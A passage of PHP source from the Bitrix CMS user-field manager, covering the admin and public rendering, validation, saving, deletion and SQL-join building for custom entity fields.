						$form_value = unserialize($value);

					if(!is_array($form_value))
						$form_value = array();

					$i = -1;
					foreach($form_value as $i=>$val)
					{
						$html .= '<tr><td>'.call_user_func_array(
							array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtml"),
							array(
								$arUserField,
								array(
									"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]"."[".$i."]",
									"VALUE" => htmlspecialcharsbx($val),
								),
							)
						).'</td></tr>';
					}
					$html .= '<tr><td>'.call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtml"),
						array(
							$arUserField,
							array(
								"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]"."[".($i+1)."]",
								"VALUE" => "",
							),
						)
					).'</td></tr>';
					$html .= '<tr><td><input type="button" value="'.GetMessage("USER_TYPE_PROP_ADD").'" onClick="addNewRow(\'table_'.$arUserField["FIELD_NAME"].'_'.$row->id.'\', \'FIELDS\\\\['.$row->id.'\\\\]\\\\['.$arUserField["FIELD_NAME"].'\\\\]\')"></td></tr>'.
					'</table>';
					$row->AddEditField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
			}
		}
	}

	function getListView($userfield, $value)
	{
		$html = '';

		if(is_callable(array($userfield["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml")))
		{
			if($userfield["MULTIPLE"] == "N")
			{
				$html = call_user_func_array(
					array($userfield["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml"),
					array(
						$userfield,
						array(
							"VALUE" => htmlspecialcharsbx($value),
						)
					)
				);
			}
			elseif(is_callable(array($userfield["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtmlmulty")))
			{
				$form_value = is_array($value) ? $value : unserialize($value);

				if(!is_array($form_value))
					$form_value = array();

				foreach($form_value as $key=>$val)
					$form_value[$key] = htmlspecialcharsbx($val);

				$html = call_user_func_array(
					array($userfield["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtmlmulty"),
					array(
						$userfield,
						array(
							"VALUE" => $form_value,
						),
					)
				);
			}
			else
			{
				if(is_array($value))
					$form_value = $value;
				else
					$form_value = strlen($value) > 0? unserialize($value): false;

				if(!is_array($form_value))
					$form_value = array();

				foreach($form_value as $val)
				{
					if($html!="")
						$html .= " / ";

					$html .= call_user_func_array(
						array($userfield["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml"),
						array(
							$userfield,
							array(
								"VALUE" => htmlspecialcharsbx($val),
							)
						)
					);
				}
			}
		}

		return strlen($html) ? $html : '&nbsp;';
	}

	function CallUserTypeComponent($componentName, $componentTemplate, $arUserField, $arAdditionalParameters = array())
	{
		global $APPLICATION;
		$arParams = $arAdditionalParameters;
		$arParams['arUserField'] = $arUserField;
		ob_start();
		$APPLICATION->IncludeComponent(
			$componentName,
			$componentTemplate,
			$arParams,
			null,
			array("HIDE_ICONS" => "Y")
		);
		return ob_get_clean();
	}

	function GetPublicView($arUserField, $arAdditionalParameters = array())
	{
		$event = new \Bitrix\Main\Event("main", "onBeforeGetPublicView", array(&$arUserField, &$arAdditionalParameters));
		$event->send();

		$arType = $this->GetUserType($arUserField["USER_TYPE_ID"]);

		$html = null;
		$event = new \Bitrix\Main\Event("main", "onGetPublicView", array($arUserField, $arAdditionalParameters));
		$event->send();
		foreach ($event->getResults() as $evenResult)
		{
			if ($evenResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
			{
				$html = $evenResult->getParameters();
				break;
			}
		}

		if ($html !== null)
		{
			//All done
		}
		elseif($arUserField["VIEW_CALLBACK"] && is_callable($arUserField['VIEW_CALLBACK']))
		{
			$html = call_user_func_array($arUserField["VIEW_CALLBACK"], array(
				$arUserField,
				$arAdditionalParameters
			));
		}
		elseif($arType && $arType["VIEW_CALLBACK"] && is_callable($arType['VIEW_CALLBACK']))
		{
			$html = call_user_func_array($arType["VIEW_CALLBACK"], array(
				$arUserField,
				$arAdditionalParameters
			));
		}
		elseif ($arUserField["VIEW_COMPONENT_NAME"])
		{
			$html = $this->CallUserTypeComponent(
				$arUserField["VIEW_COMPONENT_NAME"],
				$arUserField["VIEW_COMPONENT_TEMPLATE"],
				$arUserField,
				$arAdditionalParameters
			);
		}
		elseif ($arType && $arType["VIEW_COMPONENT_NAME"])
		{
			$html = $this->CallUserTypeComponent(
				$arType["VIEW_COMPONENT_NAME"],
				$arType["VIEW_COMPONENT_TEMPLATE"],
				$arUserField,
				$arAdditionalParameters
			);
		}
		else
		{
			$html = $this->CallUserTypeComponent(
				"bitrix:system.field.view",
				$arUserField["USER_TYPE_ID"],
				$arUserField,
				$arAdditionalParameters
			);
		}

		$event = new \Bitrix\Main\Event("main", "onAfterGetPublicView", array($arUserField, $arAdditionalParameters, &$html));
		$event->send();

		return $html;
	}

	public function getPublicText($userField)
	{
		$userType = $this->getUserType($userField['USER_TYPE_ID']);
		if (!empty($userType['CLASS_NAME']) && is_callable(array($userType['CLASS_NAME'], 'getPublicText')))
			return call_user_func_array(array($userType['CLASS_NAME'], 'getPublicText'), array($userField));

		return join(', ', array_map(function ($v)
		{
			return is_null($v) || is_scalar($v) ? (string) $v : '';
		}, (array) $userField['VALUE']));
	}

	function GetPublicEdit($arUserField, $arAdditionalParameters = array())
	{
		$event = new \Bitrix\Main\Event("main", "onBeforeGetPublicEdit", array(&$arUserField, &$arAdditionalParameters));
		$event->send();

		$arType = $this->GetUserType($arUserField["USER_TYPE_ID"]);

		$html = null;
		$event = new \Bitrix\Main\Event("main", "onGetPublicEdit", array($arUserField, $arAdditionalParameters));
		$event->send();
		foreach ($event->getResults() as $evenResult)
		{
			if ($evenResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
			{
				$html = $evenResult->getParameters();
				break;
			}
		}

		if ($html !== null)
		{
			//All done
		}
		elseif ($arUserField["EDIT_CALLBACK"] && is_callable($arUserField['EDIT_CALLBACK']))
		{
			$html = call_user_func_array($arUserField["EDIT_CALLBACK"], array(
				$arUserField,
				$arAdditionalParameters
			));
		}
		elseif ($arType && $arType["EDIT_CALLBACK"] && is_callable($arType['EDIT_CALLBACK']))
		{
			$html = call_user_func_array($arType["EDIT_CALLBACK"], array(
				$arUserField,
				$arAdditionalParameters
			));
		}
		elseif ($arUserField["EDIT_COMPONENT_NAME"])
		{
			$html = $this->CallUserTypeComponent(
				$arUserField["EDIT_COMPONENT_NAME"],
				$arUserField["EDIT_COMPONENT_TEMPLATE"],
				$arUserField,
				$arAdditionalParameters
			);
		}
		elseif ($arType && $arType["EDIT_COMPONENT_NAME"])
		{
			$html = $this->CallUserTypeComponent(
				$arType["EDIT_COMPONENT_NAME"],
				$arType["EDIT_COMPONENT_TEMPLATE"],
				$arUserField,
				$arAdditionalParameters
			);
		}
		else
		{
			$html = $this->CallUserTypeComponent(
				"bitrix:system.field.edit",
				$arUserField["USER_TYPE_ID"],
				$arUserField,
				$arAdditionalParameters
			);
		}

		$event = new \Bitrix\Main\Event("main", "onAfterGetPublicEdit", array($arUserField, $arAdditionalParameters, &$html));
		$event->send();

		return $html;
	}

	function GetSettingsHTML($arUserField, $bVarsFromForm = false)
	{
		if(!is_array($arUserField)) // New field
		{
			if($arType = $this->GetUserType($arUserField))
				if(is_callable(array($arType["CLASS_NAME"], "getsettingshtml")))
					return call_user_func_array(array($arType["CLASS_NAME"], "getsettingshtml"), array(false, array("NAME" => "SETTINGS"), $bVarsFromForm));
		}
		else
		{
			if(!is_array($arUserField["SETTINGS"]) || empty($arUserField["SETTINGS"]))
				$arUserField["SETTINGS"] = $this->PrepareSettings(0, $arUserField);

			if($arType = $this->GetUserType($arUserField["USER_TYPE_ID"]))
				if(is_callable(array($arType["CLASS_NAME"], "getsettingshtml")))
					return call_user_func_array(array($arType["CLASS_NAME"], "getsettingshtml"), array($arUserField, array("NAME" => "SETTINGS"), $bVarsFromForm));
		}
		return null;
	}

	/**
	 * @param      $entity_id
	 * @param      $ID
	 * @param      $arFields
	 * @param bool $user_id False means current user id.
	 * @param bool $checkRequired Whether to check required fields.
	 * @return bool
	 */
	function CheckFields($entity_id, $ID, &$arFields, $user_id = false, $checkRequired = true)
	{
		global $APPLICATION;

		$aMsg = array();
		//1 Get user typed fields list for entity
		$arUserFields = $this->GetUserFields($entity_id, $ID, LANGUAGE_ID);
		//2 For each field
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			//common Check for all fields
			if($checkRequired && $arUserField["MANDATORY"]=="Y" && ((isset($ID) && $ID <= 0) || isset($arFields[$FIELD_NAME])))
			{
				$EDIT_FORM_LABEL = strlen($arUserField["EDIT_FORM_LABEL"]) > 0 ? $arUserField["EDIT_FORM_LABEL"] : $arUserField["FIELD_NAME"];

				if($arUserField["USER_TYPE"]["BASE_TYPE"] == "file")
				{
					$bWasInput = false;
					if(is_array($arUserField["VALUE"]))
						$arDBFiles = array_flip($arUserField["VALUE"]);
					elseif($arUserField["VALUE"] > 0)
						$arDBFiles = array($arUserField["VALUE"] => 0);
					elseif (is_numeric($arFields[$FIELD_NAME]))
						$arDBFiles = array($arFields[$FIELD_NAME] => 0);
					else
						$arDBFiles = array();

					if($arUserField["MULTIPLE"]=="N")
					{
						$value = $arFields[$FIELD_NAME];
						if(is_array($value) && array_key_exists("tmp_name", $value))
						{
							if(array_key_exists("del", $value) && $value["del"])
								unset($arDBFiles[$value["old_id"]]);
							elseif(array_key_exists("size", $value) && $value["size"] > 0)
								$bWasInput = true;
						}
						elseif($value > 0)
						{
							$bWasInput = true;
						}
					}
					else
					{
						if(is_array($arFields[$FIELD_NAME]))
						{
							foreach($arFields[$FIELD_NAME] as $value)
							{
								if(is_array($value) && array_key_exists("tmp_name", $value))
								{
									if(array_key_exists("del", $value) && $value["del"])
										unset($arDBFiles[$value["old_id"]]);
									elseif(array_key_exists("size", $value) && $value["size"] > 0)
										$bWasInput = true;
								}
								elseif($value > 0)
								{
									$bWasInput = true;
								}
							}
						}
					}

					if(!$bWasInput && empty($arDBFiles))
					{
						$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
					}
				}
				elseif($arUserField["MULTIPLE"]=="N")
				{
					if(strlen($arFields[$FIELD_NAME])<=0)
					{
						$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
					}
				}
				else
				{
					if(!is_array($arFields[$FIELD_NAME]))
					{
						$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
					}
					else
					{
						$bFound = false;
						foreach($arFields[$FIELD_NAME] as $value)
						{
							if(
								(is_array($value) && (strlen(implode("", $value)) > 0))
								|| ((!is_array($value)) && (strlen($value) > 0))
							)
							{
								$bFound = true;
								break;
							}
						}
						if(!$bFound)
						{
							$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
						}
					}
				}
			}
			//identify user type
			if($arUserField["USER_TYPE"])
			{
				$CLASS_NAME = $arUserField["USER_TYPE"]["CLASS_NAME"];
				if(array_key_exists($FIELD_NAME, $arFields) && is_callable(array($CLASS_NAME, "checkfields")))
				{
					if($arUserField["MULTIPLE"]=="N")
					{
						//apply appropriate check function
						$ar = call_user_func_array(
							array($CLASS_NAME, "checkfields"),
							array($arUserField, $arFields[$FIELD_NAME], $user_id)
						);
						$aMsg = array_merge($aMsg, $ar);
					}
					elseif(is_array($arFields[$FIELD_NAME]))
					{
						foreach($arFields[$FIELD_NAME] as $value)
						{
							if(!empty($value))
							{
								//apply appropriate check function
								$ar = call_user_func_array(
									array($CLASS_NAME, "checkfields"),
									array($arUserField, $value, $user_id)
								);
								$aMsg = array_merge($aMsg, $ar);
							}
						}
					}
				}
			}
		}
		//3 Return succsess/fail flag
		if(!empty($aMsg))
		{
			$e = new CAdminException($aMsg);
			$APPLICATION->ThrowException($e);
			return false;
		}
		return true;
	}

	/**
	 * Replacement for CheckFields, if you are already have fetched old data
	 *
	 * @param $entity_id
	 * @param $oldData
	 * @param $arFields
	 *
	 * @return bool
	 */
	function CheckFieldsWithOldData($entity_id, $oldData, $arFields)
	{
		global $APPLICATION;

		$aMsg = array();

		//1 Get user typed fields list for entity
		$arUserFields = $this->getUserFieldsWithReadyData($entity_id, $oldData, LANGUAGE_ID);

		//2 For each field
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			//identify user type
			if($arUserField["USER_TYPE"])
			{
				$CLASS_NAME = $arUserField["USER_TYPE"]["CLASS_NAME"];
				$EDIT_FORM_LABEL = strLen($arUserField["EDIT_FORM_LABEL"]) > 0 ? $arUserField["EDIT_FORM_LABEL"] : $arUserField["FIELD_NAME"];

				if(array_key_exists($FIELD_NAME, $arFields) && is_callable(array($CLASS_NAME, "checkfields")))
				{
					// check required values
					if ($arUserField["MANDATORY"]=="Y")
					{
						if($arUserField["USER_TYPE"]["BASE_TYPE"] == "file")
						{
							$bWasInput = false;
							if(is_array($arUserField["VALUE"]))
								$arDBFiles = array_flip($arUserField["VALUE"]);
							elseif($arUserField["VALUE"] > 0)
								$arDBFiles = array($arUserField["VALUE"] => 0);
							elseif (is_numeric($arFields[$FIELD_NAME]))
								$arDBFiles = array($arFields[$FIELD_NAME] => 0);
							else
								$arDBFiles = array();

							if($arUserField["MULTIPLE"]=="N")
							{
								$value = $arFields[$FIELD_NAME];
								if(is_array($value) && array_key_exists("tmp_name", $value))
								{
									if(array_key_exists("del", $value) && $value["del"])
										unset($arDBFiles[$value["old_id"]]);
									elseif(array_key_exists("size", $value) && $value["size"] > 0)
										$bWasInput = true;
								}
							}
							else
							{
								if(is_array($arFields[$FIELD_NAME]))
								{
									foreach($arFields[$FIELD_NAME] as $value)
									{
										if(is_array($value) && array_key_exists("tmp_name", $value))
										{
											if(array_key_exists("del", $value) && $value["del"])
												unset($arDBFiles[$value["old_id"]]);
											elseif(array_key_exists("size", $value) && $value["size"] > 0)
												$bWasInput = true;
										}
									}
								}
							}

							if(!$bWasInput && empty($arDBFiles))
							{
								$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
							}
						}
						elseif($arUserField["MULTIPLE"]=="N")
						{
							if(strlen($arFields[$FIELD_NAME])<=0)
							{
								$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
							}
						}
						else
						{
							if(!is_array($arFields[$FIELD_NAME]))
							{
								$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
							}
							else
							{
								$bFound = false;
								foreach($arFields[$FIELD_NAME] as $value)
								{
									if(
										(is_array($value) && (strlen(implode("", $value)) > 0))
										|| ((!is_array($value)) && (strlen($value) > 0))
									)
									{
										$bFound = true;
										break;
									}
								}
								if(!$bFound)
								{
									$aMsg[] = array("id"=>$FIELD_NAME, "text"=>str_replace("#FIELD_NAME#", $EDIT_FORM_LABEL, GetMessage("USER_TYPE_FIELD_VALUE_IS_MISSING")));
								}
							}
						}
					}

					// check regular values
					if($arUserField["MULTIPLE"]=="N")
					{
						//apply appropriate check function
						$ar = call_user_func_array(
							array($CLASS_NAME, "checkfields"),
							array($arUserField, $arFields[$FIELD_NAME])
						);
						$aMsg = array_merge($aMsg, $ar);
					}
					elseif(is_array($arFields[$FIELD_NAME]))
					{
						foreach($arFields[$FIELD_NAME] as $value)
						{
							if(!empty($value))
							{
								//apply appropriate check function
								$ar = call_user_func_array(
									array($CLASS_NAME, "checkfields"),
									array($arUserField, $value)
								);
								$aMsg = array_merge($aMsg, $ar);
							}
						}
					}
				}
			}
		}

		//3 Return succsess/fail flag
		if(!empty($aMsg))
		{
			$e = new CAdminException($aMsg);
			$APPLICATION->ThrowException($e);
			return false;
		}

		return true;
	}

	function Update($entity_id, $ID, $arFields, $user_id = false)
	{
		global $DB;

		$result = false;

		$entity_id = preg_replace("/[^0-9A-Z_]+/", "", $entity_id);

		$arUpdate = array();
		$arBinds = array();
		$arInsert = array();
		$arInsertType = array();
		$arDelete = array();
		$arUserFields = $this->GetUserFields($entity_id, $ID, false, $user_id);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			if(array_key_exists($FIELD_NAME, $arFields))
			{
				$arUserField['VALUE_ID'] = $ID;
				if($arUserField["MULTIPLE"] == "N")
				{
					if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesave")))
						$arFields[$FIELD_NAME] = call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesave"), array($arUserField, $arFields[$FIELD_NAME], $user_id));

					if(strlen($arFields[$FIELD_NAME])>0)
						$arUpdate[$FIELD_NAME] = $arFields[$FIELD_NAME];
					else
						$arUpdate[$FIELD_NAME] = false;
				}
				elseif(is_array($arFields[$FIELD_NAME]))
				{
					$arInsert[$arUserField["ID"]] = array();
					$arInsertType[$arUserField["ID"]] = $arUserField["USER_TYPE"];

					if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesaveall")))
					{
						$arInsert[$arUserField["ID"]] = call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesaveall"), array($arUserField, $arFields[$FIELD_NAME], $user_id));
					}
					else
					{
						foreach($arFields[$FIELD_NAME] as $value)
						{
							if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesave")))
								$value = call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onbeforesave"), array($arUserField, $value, $user_id));

							if(strlen($value)>0)
							{
								switch($arInsertType[$arUserField["ID"]]["BASE_TYPE"])
								{
									case "int":
									case "file":
									case "enum":
										$value = intval($value);
										break;
									case "double":
										$value = doubleval($value);
										if(!is_finite($value))
										{
											$value = 0;
										}
										break;
								}
								$arInsert[$arUserField["ID"]][] = $value;
							}
						}
					}

					if ($arUserField['USER_TYPE_ID'] == 'datetime')
					{
						$serialized = \Bitrix\Main\UserFieldTable::serializeMultipleDatetime($arInsert[$arUserField["ID"]]);
					}
					elseif ($arUserField['USER_TYPE_ID'] == 'date')
					{
						$serialized = \Bitrix\Main\UserFieldTable::serializeMultipleDate($arInsert[$arUserField["ID"]]);
					}
					else
					{
						$serialized = serialize($arInsert[$arUserField["ID"]]);
					}

					$arBinds[$FIELD_NAME] = $arUpdate[$FIELD_NAME] = $serialized;

					$arDelete[$arUserField["ID"]] = true;
				}
			}
		}

		$lower_entity_id = strtolower($entity_id);

		if(!empty($arUpdate))
			$strUpdate = $DB->PrepareUpdate("b_uts_".$lower_entity_id, $arUpdate);
		else
			return $result;

		if(strlen($strUpdate) > 0)
		{
			$result = true;
			$rs = $DB->QueryBind("UPDATE b_uts_".$lower_entity_id." SET ".$strUpdate." WHERE VALUE_ID = ".intval($ID), $arBinds);
			$rows = $rs->AffectedRowsCount();
		}
		else
		{
			$rows = 0;
		}

		if(intval($rows)<=0)
		{
			$rs = $DB->Query("SELECT 'x' FROM b_uts_".$lower_entity_id." WHERE VALUE_ID = ".intval($ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			if($rs->Fetch())
				$rows = 1;
		}

		if($rows <= 0)
		{
			$arUpdate["ID"] = $arUpdate["VALUE_ID"] = $ID;
			$DB->Add("b_uts_".$lower_entity_id, $arUpdate, array_keys($arBinds));
		}
		else
		{
			foreach($arDelete as $key=>$value)
			{
				$DB->Query("DELETE from b_utm_".$lower_entity_id." WHERE FIELD_ID = ".intval($key)." AND VALUE_ID = ".intval($ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			}
		}

		foreach($arInsert as $FieldId=>$arField)
		{
			switch($arInsertType[$FieldId]["BASE_TYPE"])
			{
				case "int":
				case "file":
				case "enum":
					$COLUMN = "VALUE_INT";
					break;
				case "double":
					$COLUMN = "VALUE_DOUBLE";
					break;
				case "datetime":
					$COLUMN = "VALUE_DATE";
					break;
				default:
					$COLUMN = "VALUE";
			}
			foreach($arField as $value)
			{
				if ($value instanceof \Bitrix\Main\Type\Date)
				{
					// little hack to avoid timezone vs 00:00:00 ambiguity. for utm only
					$value = new \Bitrix\Main\Type\DateTime($value->format('Y-m-d H:i:s'), 'Y-m-d H:i:s');
				}

				switch($arInsertType[$FieldId]["BASE_TYPE"])
				{
					case "int":
					case "file":
					case "enum":
					case "double":
						break;
					case "datetime":
						$value = $DB->CharToDateFunction($value);
						break;
					default:
						$value = "'".$DB->ForSql($value)."'";
				}
				$DB->Query("INSERT INTO b_utm_".$lower_entity_id." (VALUE_ID, FIELD_ID, ".$COLUMN.")
					VALUES (".intval($ID).", '".$FieldId."', ".$value.")", false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			}
		}

		return $result;
	}

	function Delete($entity_id, $ID)
	{
		global $DB;
		if($arUserFields = $this->GetUserFields($entity_id, $ID, false, 0))
		{
			foreach($arUserFields as $arUserField)
			{
				if(is_array($arUserField["VALUE"]))
				{
					foreach($arUserField["VALUE"] as $value)
					{
						if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "ondelete")))
							call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "ondelete"), array($arUserField, $value));

						if($arUserField["USER_TYPE"]["BASE_TYPE"]=="file")
							CFile::Delete($value);
					}
				}
				else
				{
					if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "ondelete")))
						call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "ondelete"), array($arUserField, $arUserField["VALUE"]));

					if($arUserField["USER_TYPE"]["BASE_TYPE"]=="file")
						CFile::Delete($arUserField["VALUE"]);
				}
			}
			$DB->Query("DELETE FROM b_utm_".strtolower($entity_id)." WHERE VALUE_ID = ".intval($ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			$DB->Query("DELETE FROM b_uts_".strtolower($entity_id)." WHERE VALUE_ID = ".intval($ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		}
	}

	function OnSearchIndex($entity_id, $ID)
	{
		$result = "";
		if($arUserFields = $this->GetUserFields($entity_id, $ID, false, 0))
		{
			foreach($arUserFields as $arUserField)
			{
				if($arUserField["IS_SEARCHABLE"]=="Y")
				{
					if($arUserField["USER_TYPE"])
						if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onsearchindex")))
							$result .= "\r\n".call_user_func_array(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onsearchindex"), array($arUserField));
				}
			}
		}
		return $result;
	}

	function GetRights($ENTITY_ID=false, $ID=false)
	{
		if(($ID !== false) && array_key_exists("ID:".$ID, $this->arRightsCache))
		{
			return $this->arRightsCache["ID:".$ID];
		}
		if(($ENTITY_ID !== false) && array_key_exists("ENTITY_ID:".$ENTITY_ID, $this->arRightsCache))
		{
			return $this->arRightsCache["ENTITY_ID:".$ENTITY_ID];
		}

		global $USER;
		if(is_object($USER) && $USER->CanDoOperation('edit_other_settings'))
		{
			$RIGHTS = "X";
		}
		else
		{
			$RIGHTS = "D";
			if($ID !== false)
			{
				$ar = CUserTypeEntity::GetByID($ID);
				if($ar)
					$ENTITY_ID = $ar["ENTITY_ID"];
			}

			foreach(GetModuleEvents("main", "OnUserTypeRightsCheck", true) as $arEvent)
			{
				$res = ExecuteModuleEventEx($arEvent, array($ENTITY_ID));
				if($res > $RIGHTS)
					$RIGHTS = $res;
			}
		}

		if($ID !== false)
		{
			$this->arRightsCache["ID:".$ID] = $RIGHTS;
		}
		if($ENTITY_ID !== false)
		{
			$this->arRightsCache["ENTITY_ID:".$ENTITY_ID] = $RIGHTS;
		}

		return $RIGHTS;
	}


	/**
	 * @param             $arUserField
	 * @param null|string $fieldName
	 * @param array       $fieldParameters
	 *
	 * @return Entity\DatetimeField|Entity\FloatField|Entity\IntegerField|Entity\StringField|mixed
	 * @throws Bitrix\Main\ArgumentException
	 */
	public function getEntityField($arUserField, $fieldName = null, $fieldParameters = array())
	{
		if (empty($fieldName))
		{
			$fieldName = $arUserField['FIELD_NAME'];
		}

		if (is_callable(array($arUserField['USER_TYPE']['CLASS_NAME'], 'getEntityField')))
		{
			return call_user_func(array($arUserField['USER_TYPE']['CLASS_NAME'], 'getEntityField'), $fieldName, $fieldParameters);
		}

		if ($arUserField['USER_TYPE']['USER_TYPE_ID'] == 'date')
		{
			return new Entity\DateField($fieldName, $fieldParameters);
		}

		switch ($arUserField['USER_TYPE']['BASE_TYPE'])
		{
			case 'int':
			case 'enum':
			case 'file':
				return new Entity\IntegerField($fieldName, $fieldParameters);
			case 'double':
				return new Entity\FloatField($fieldName, $fieldParameters);
			case 'string':
				return new Entity\StringField($fieldName, $fieldParameters);
			case 'datetime':
				return new Entity\DatetimeField($fieldName, $fieldParameters);
			default:
				throw new \Bitrix\Main\ArgumentException(sprintf(
					'Unknown userfield base type `%s`', $arUserField["USER_TYPE"]['BASE_TYPE']
				));
		}
	}

	/**
	 * @param                    $arUserField
	 * @param Entity\ScalarField $entityField
	 *
	 * @return Entity\ReferenceField[]
	 */
	public function getEntityReferences($arUserField, Entity\ScalarField $entityField)
	{
		if (is_callable(array($arUserField['USER_TYPE']['CLASS_NAME'], 'getEntityReferences')))
		{
			return call_user_func(array($arUserField['USER_TYPE']['CLASS_NAME'], 'getEntityReferences'), $arUserField, $entityField);
		}

		return array();
	}
}

class CUserTypeSQL
{
	var $table_alias = "BUF";
	var $entity_id = false;
	var $user_fields = array();

	var $select = array();
	var $filter = array();
	var $order = array();

	/** @var CSQLWhere */
	var $obWhere = false;

	function SetEntity($entity_id, $ID)
	{
		global $USER_FIELD_MANAGER;

		$this->user_fields = $USER_FIELD_MANAGER->GetUserFields($entity_id);
		$this->entity_id = strtolower(preg_replace("/[^0-9A-Z_]+/", "", $entity_id));
		$this->select = array();
		$this->filter = array();
		$this->order = array();

		$this->obWhere = new CSQLWhere;
		$num = 0;
		$arFields = array();
		foreach($this->user_fields as $FIELD_NAME=>$arField)
		{
			if($arField["MULTIPLE"]=="Y")
				$num++;
			$table_alias = $arField["MULTIPLE"]=="N"? $this->table_alias: $this->table_alias.$num;
			$arType = $this->user_fields[$FIELD_NAME]["USER_TYPE"];

			if($arField["MULTIPLE"]=="N")
				$TABLE_FIELD_NAME = $table_alias.".".$FIELD_NAME;
			elseif($arType["BASE_TYPE"]=="int")
				$TABLE_FIELD_NAME = $table_alias.".VALUE_INT";
			elseif($arType["BASE_TYPE"]=="file")
				$TABLE_FIELD_NAME = $table_alias.".VALUE_INT";
			elseif($arType["BASE_TYPE"]=="enum")
				$TABLE_FIELD_NAME = $table_alias.".VALUE_INT";
			elseif($arType["BASE_TYPE"]=="double")
				$TABLE_FIELD_NAME = $table_alias.".VALUE_DOUBLE";
			elseif($arType["BASE_TYPE"]=="datetime")
				$TABLE_FIELD_NAME = $table_alias.".VALUE_DATE";
			else
				$TABLE_FIELD_NAME = $table_alias.".VALUE";

			$arFields[$FIELD_NAME] =  array(
				"TABLE_ALIAS" => $table_alias,
				"FIELD_NAME" => $TABLE_FIELD_NAME,
				"FIELD_TYPE" => $arType["BASE_TYPE"],
				"USER_TYPE_ID" => $arType["USER_TYPE_ID"],
				"MULTIPLE" => $arField["MULTIPLE"],
				"JOIN" => $arField["MULTIPLE"]=="N"?
					"INNER JOIN b_uts_".$this->entity_id." ".$table_alias." ON ".$table_alias.".VALUE_ID = ".$ID:
					"INNER JOIN b_utm_".$this->entity_id." ".$table_alias." ON ".$table_alias.".FIELD_ID = ".$arField["ID"]." AND ".$table_alias.".VALUE_ID = ".$ID,
				"LEFT_JOIN" => $arField["MULTIPLE"]=="N"?
					"LEFT JOIN b_uts_".$this->entity_id." ".$table_alias." ON ".$table_alias.".VALUE_ID = ".$ID:
					"LEFT JOIN b_utm_".$this->entity_id." ".$table_alias." ON ".$table_alias.".FIELD_ID = ".$arField["ID"]." AND ".$table_alias.".VALUE_ID = ".$ID,
			);

			if($arType["BASE_TYPE"]=="enum")
			{
				$arFields[$FIELD_NAME."_VALUE"] =  array(
					"TABLE_ALIAS" => $table_alias."EN",
					"FIELD_NAME" => $table_alias."EN.VALUE",
					"FIELD_TYPE" => "string",
					"MULTIPLE" => $arField["MULTIPLE"],
					"JOIN" => $arField["MULTIPLE"]=="N"?
						"INNER JOIN b_uts_".$this->entity_id." ".$table_alias."E ON ".$table_alias."E.VALUE_ID = ".$ID."
						INNER JOIN b_user_field_enum ".$table_alias."EN ON ".$table_alias."EN.ID = ".$table_alias."E.".$FIELD_NAME:
						"INNER JOIN b_utm_".$this->entity_id." ".$table_alias."E ON ".$table_alias."E.FIELD_ID = ".$arField["ID"]." AND ".$table_alias."E.VALUE_ID = ".$ID."
						INNER JOIN b_user_field_enum ".$table_alias."EN ON ".$table_alias."EN.ID = ".$table_alias."E.VALUE_INT",
					"LEFT_JOIN" => $arField["MULTIPLE"]=="N"?
						"LEFT JOIN b_uts_".$this->entity_id." ".$table_alias."E ON ".$table_alias."E.VALUE_ID = ".$ID."
						LEFT JOIN b_user_field_enum ".$table_alias."EN ON ".$table_alias."EN.ID = ".$table_alias."E.".$FIELD_NAME:
